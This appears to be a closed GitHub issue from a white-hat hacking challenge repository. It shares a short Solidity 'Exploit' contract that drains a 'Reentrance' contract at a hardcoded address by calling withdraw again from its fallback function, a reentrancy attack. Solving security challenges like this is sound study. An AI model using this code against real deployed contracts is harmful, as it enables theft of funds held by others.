Huaida / WhiteHatHackerChallenge

0 stars 0 forks source link

一个attact的例子 #4

Closed yyssjj33 closed 6 years ago

yyssjj33 commented 6 years ago
import './Reentrance.sol';
contract Exploit {
    address target = 0x7017b24d17c4bed789c6c1bf8301cb3bc21bce56;
    Reentrance c;
    function Exploit() {
       c = Reentrance(target);       
    }
    function attack() payable {
       c.donate.value(0.1 ether)(this);
       c.withdraw(0.1 ether);
    }
    function() payable {
        c.withdraw(0.1 ether);
    }
}